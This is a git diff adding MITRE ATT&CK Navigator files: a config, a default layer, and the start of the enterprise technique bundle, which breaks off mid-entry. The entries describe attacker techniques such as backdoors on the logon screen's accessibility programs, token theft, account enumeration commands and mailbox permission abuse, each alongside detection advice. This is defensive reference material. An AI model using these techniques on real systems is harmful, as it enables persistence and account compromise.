diff --git a/public/assets/attack-navigator/assets/config.json b/public/assets/attack-navigator/assets/config.json new file mode 100644 index 0000000..ec5454c --- /dev/null +++ b/public/assets/attack-navigator/assets/config.json @@ -0,0 +1,59 @@ +{ + "enterprise_attack_url": "assets/enterprise-attack.json", + "pre_attack_url": "assets/pre-attack.json", + "mobile_data_url": "https://raw.githubusercontent.com/mitre/cti/ATT%26CK-v6.3/mobile-attack/mobile-attack.json", + "taxii_server": { + "enabled": false, + "url": "https://cti-taxii.mitre.org/", + "collections": { + "enterprise_attack": "95ecc380-afe9-11e4-9b6c-751b66dd541e", + "pre_attack": "062767bd-02d2-4b72-84ba-56caef0f8658", + "mobile_attack": "2f669986-b40b-4423-b720-4396ca6a462b" + } + }, + + "domain": "mitre-enterprise", + + "custom_context_menu_items": [ + + ], + + "default_layers": { + "enabled": false, + "urls": ["assets/example.json", "https://raw.githubusercontent.com/mitre-attack/attack-navigator/master/layers/data/samples/Bear_APT.json"] + }, + + "comment_color": "yellow", + + "features": [ + {"name": "tabs", "enabled": true, "description": "Disable to remove the ability to open new tabs."}, + {"name": "selecting_techniques", "enabled": false, "description": "Disable to remove the ability to select techniques."}, + {"name": "header", "enabled": true, "description": "Disable to remove the header containing 'MITRE ATT&CK Navigator' and the link to the help page. The help page can still be accessed from the new tab menu."}, + {"name": "subtechniques", "enabled": false, "description": "Disable to remove all sub-technique features from the interface."}, + {"name": "redelk_controls", "enabled": true, "description": "Disable to to disable RedELK controls."}, + {"name": "selection_controls", "enabled": false, "description": "Disable to to disable all subfeatures", "subfeatures": [ + {"name": "search", "enabled": true, "description": "Disable to remove the technique search panel from the interface."}, + {"name": "multiselect", "enabled": true, "description": "Disable to remove the multiselect panel from interface."}, + {"name": "deselect_all", "enabled": true, "description": "Disable to remove the deselect all button from the interface."} + ]}, + {"name": "layer_controls", "enabled": true, "description": "Disable to to disable all subfeatures", "subfeatures": [ + {"name": "layer_info", "enabled": true, "description": "Disable to remove the layer info (name, description and metadata) panel from the interface. Note that the layer can still be renamed in the tab."}, + {"name": "download_layer", "enabled": true, "description": "Disable to remove the button to download the layer."}, + {"name": "export_render", "enabled": true, "description": "Disable to the remove the button to render the current layer."}, + {"name": "export_excel", "enabled": true, "description": "Disable to the remove the button to export the current layer to MS Excel (.xlsx) format."}, + {"name": "filters", "enabled": true, "description": "Disable to the remove the filters panel from interface."}, + {"name": "sorting", "enabled": true, "description": "Disable to the remove the sorting button from the interface."}, + {"name": "color_setup", "enabled": true, "description": "Disable to the remove the color setup panel from interface, containing customization controls for scoring gradient and tactic row color."}, + {"name": "toggle_hide_disabled", "enabled": true, "description": "Disable to the remove the hide disabled techniques button from the interface."}, + {"name": "layout_controls", "enabled": true, "description": "Disable to the remove the ability to change the current matrix layout."}, + {"name": "legend", "enabled": true, "description": "Disable to the remove the legend panel from the interface."} + ]}, + {"name": "technique_controls", "enabled": false, "description": "Disable to to disable all subfeatures", "subfeatures": [ + {"name": "disable_techniques", "enabled": true, "description": "Disable to the remove the ability to disable techniques."}, + {"name": "manual_color", "enabled": true, "description": "Disable to the remove the ability to assign manual colors to techniques."}, + {"name": "scoring", "enabled": true, "description": "Disable to the remove the ability to score techniques."}, + {"name": "comments", "enabled": true, "description": "Disable to the remove the ability to add comments to techniques."}, + {"name": "clear_annotations", "enabled": true, "description": "Disable to remove the button to clear all annotations on the selected techniques."} + ]} + ] +} diff --git a/public/assets/attack-navigator/assets/default_layer.json b/public/assets/attack-navigator/assets/default_layer.json new file mode 100644 index 0000000..413ce7c --- /dev/null +++ b/public/assets/attack-navigator/assets/default_layer.json @@ -0,0 +1,76 @@ +{ + "name": "layer", + "version": "3.0", + "domain": "mitre-enterprise", + "description": "", + "filters": { + "stages": [ + "act" + ], + "platforms": [ + "Windows", + "Linux", + "macOS" + ] + }, + "sorting": 0, + "layout": { + "layout": "side", + "showID": false, + "showName": true + }, + "hideDisabled": false, + "techniques": [ + { + "techniqueID": "T1156", + "tactic": "persistence", + "color": "#3182bd", + "comment": "", + "enabled": true, + "metadata": [], + "showSubtechniques": false + }, + { + "techniqueID": "T1134", + "tactic": "defense-evasion", + "color": "#3182bd", + "comment": "", + "enabled": true, + "metadata": [], + "showSubtechniques": false + }, + { + "techniqueID": "T1134", + "tactic": "privilege-escalation", + "color": "#3182bd", + "comment": "", + "enabled": true, + "metadata": [], + "showSubtechniques": false + }, + { + "techniqueID": "T1189", + "tactic": "initial-access", + "color": "#3182bd", + "comment": "", + "enabled": true, + "metadata": [], + "showSubtechniques": false + } + ], + "gradient": { + "colors": [ + "#ff6666", + "#ffe766", + "#8ec843" + ], + "minValue": 0, + "maxValue": 100 + }, + "legendItems": [], + "metadata": [], + "showTacticRowBackground": false, + "tacticRowBackground": "#dddddd", + "selectTechniquesAcrossTactics": true, + "selectSubtechniquesWithParent": false +} diff --git a/public/assets/attack-navigator/assets/enterprise-attack.json b/public/assets/attack-navigator/assets/enterprise-attack.json new file mode 100644 index 0000000..a3da203 --- /dev/null +++ b/public/assets/attack-navigator/assets/enterprise-attack.json @@ -0,0 +1,173591 @@ +{ + "type": "bundle", + "id": "bundle--83dad14b-ae53-4473-9f95-5ae37c8eaa5d", + "spec_version": "2.0", + "objects": [ + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Process use of network" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": ".bash_profile and .bashrc", + "description": "~/.bash_profile and ~/.bashrc are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the ~/.bash_profile script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the ~/.bashrc script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment. \n\nThe macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nAdversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware).", + "id": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1156", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1156" + }, + { + "source_name": "amnesia malware", + "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/" + } + ], + "modified": "2019-06-13T14:49:56.024Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Access tokens", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Access Token Manipulation", + "description": "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.(Citation: Microsoft runas)\n \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods:(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.\n\n**Create Process with a Token** - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n**Make and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit\u2019s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.(Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)", + "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Tom Ueltschi @c_APT_ure", + "Travis Smith, Tripwire", + "Robby Winchester, @robwinchester3", + "Jared Atkinson, @jaredcatkinson" + ], + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1134", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1134" + }, + { + "source_name": "capec", + "external_id": "CAPEC-633", + "url": "https://capec.mitre.org/data/definitions/633.html" + }, + { + "source_name": "Microsoft runas", + "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/library/bb490994.aspx" + }, + { + "source_name": "Pentestlab Token Manipulation", + "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.", + "url": "https://pentestlab.blog/2017/04/03/token-manipulation/" + }, + { + "source_name": "BlackHat Atkinson Winchester Token Manipulation", + "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.", + "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf" + }, + { + "source_name": "Metasploit access token", + "description": "Offensive Security. (n.d.). What is Incognito. Retrieved April 21, 2017.", + "url": "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/" + }, + { + "source_name": "Cobalt Strike Access Token", + "description": "Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. Retrieved April 21, 2017.", + "url": "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/" + }, + { + "source_name": "Microsoft Command-line Logging", + "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" + }, + { + "source_name": "Microsoft LogonUser", + "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx" + }, + { + "source_name": "Microsoft DuplicateTokenEx", + "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx" + }, + { + "source_name": "Microsoft ImpersonateLoggedOnUser", + "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx" + } + ], + "modified": "2019-10-14T20:45:04.451Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring" + ], + "name": "Accessibility Features", + "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe", + "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Paul Speulstra, AECOM Global Security Operations Center" + ], + "created": "2017-05-31T21:30:26.946Z", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1015", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1015" + }, + { + "source_name": "capec", + "external_id": "CAPEC-558", + "url": "https://capec.mitre.org/data/definitions/558.html" + }, + { + "source_name": "FireEye Hikit Rootkit", + "description": "Glyer, C., Kazanciyan, R. (2012, August 20). THE \u201cHIKIT\u201d ROOTKIT: ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html" + }, + { + "source_name": "DEFCON2016 Sticky Keys", + "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.", + "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom" + }, + { + "source_name": "Tilbury 2014", + "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.", + "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/" + } + ], + "modified": "2019-07-16T19:07:04.652Z" + }, + { + "x_mitre_data_sources": [ + "Windows event logs", + "Process command-line parameters", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "name": "Account Access Removal", + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n\nAdversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)", + "id": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Availability" + ], + "type": "attack-pattern", + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\n\n* Event ID 4723 - An attempt was made to change an account's password\n* Event ID 4724 - An attempt was made to reset an account's password\n* Event ID 4726 - A user account was deleted\n* Event ID 4740 - A user account was locked out\n\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-09T18:48:31.906Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "external_id": "T1531", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1531" + }, + { + "source_name": "CarbonBlack LockerGoga 2019", + "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", + "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/" + }, + { + "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "source_name": "Unit42 LockerGoga 2019", + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + } + ], + "modified": "2019-10-14T23:29:24.908Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Azure activity logs", + "Office 365 account logs", + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Account Discovery", + "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n### Windows\n\nExample commands that can acquire this information are net user, net group , and net localgroup using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply.\n\n### Mac\n\nOn Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\n### Linux\n\nOn Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.\n\nAlso, groups can be enumerated through the groups and id commands.\n\n### Office 365 and Azure AD\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)", + "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office 365", + "Azure AD" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Travis Smith, Tripwire" + ], + "created": "2017-05-31T21:31:06.988Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1087", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1087" + }, + { + "source_name": "capec", + "external_id": "CAPEC-575", + "url": "https://capec.mitre.org/data/definitions/575.html" + }, + { + "description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.", + "source_name": "Microsoft msolrolemember", + "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0" + }, + { + "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.", + "source_name": "GitHub Raindance", + "url": "https://github.com/True-Demon/raindance" + }, + { + "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", + "source_name": "Microsoft AZ CLI", + "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" + }, + { + "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", + "source_name": "Black Hills Red Teaming MS AD Azure, 2018", + "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" + }, + { + "description": "Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.", + "source_name": "Microsoft getglobaladdresslist", + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist" + }, + { + "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.", + "source_name": "Black Hills Attacking Exchange MailSniper, 2016", + "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/" + } + ], + "modified": "2019-10-08T21:05:16.654Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_data_sources": [ + "Authentication logs", + "API monitoring", + "Windows event logs", + "Packet capture" + ], + "name": "Account Manipulation", + "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\n### Exchange Email Account Takeover\n\nThe Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)\n\n### Azure AD\n\nIn Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death)\n\n### AWS\n\nAWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing)", + "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "x_mitre_platforms": [ + "Windows", + "Office 365", + "Azure", + "GCP", + "Azure AD", + "AWS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "x_mitre_system_requirements": [ + "Exchange email account takeover: Sufficient permission to run the Add-MailboxPermission PowerShell cmdlet (depending on parameters used, may require more permission)" + ], + "type": "attack-pattern", + "x_mitre_detection": "Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.(Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nMonitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nA larger volume of emails sent from an account than normal and the discovery of similar phishing emails being sent from\u202freal accounts within a network may be signs that an account may have been compromised and attempts to leverage access with modified email permissions is occurring.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", + "Praetorian", + "Tim MalcomVetter" + ], + "created": "2017-05-31T21:31:12.196Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1098", + "url": "https://attack.mitre.org/techniques/T1098" + }, + { + "description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.", + "source_name": "Microsoft - Add-MailboxPermission", + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps" + }, + { + "description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.", + "source_name": "Bienstock, D. - Defending O365 - 2019", + "url": "https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365" + }, + { + "description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.", + "source_name": "Blue Cloud of Death", + "url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1" + }, + { + "description": "Piper, Scott. (2019, April 3). Advanced AWS policy auditing - Confused deputies with AWS services. Retrieved October 23, 2019.", + "source_name": "Summit Route Advanced AWS policy auditing", + "url": "https://summitroute.com/blog/2019/04/03/advanced_aws_policy_auditing_confused_deputies_with_aws_services/" + }, + { + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.", + "source_name": "Microsoft User Modified Event", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738" + }, + { + "source_name": "InsiderThreat ChangeNTLM July 2017", + "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.", + "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM" + }, + { + "source_name": "GitHub Mimikatz Issue 92 June 2017", + "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.", + "url": "https://github.com/gentilkiwi/mimikatz/issues/92" + } + ], + "modified": "2019-10-23T14:49:39.188Z" + }, + { + 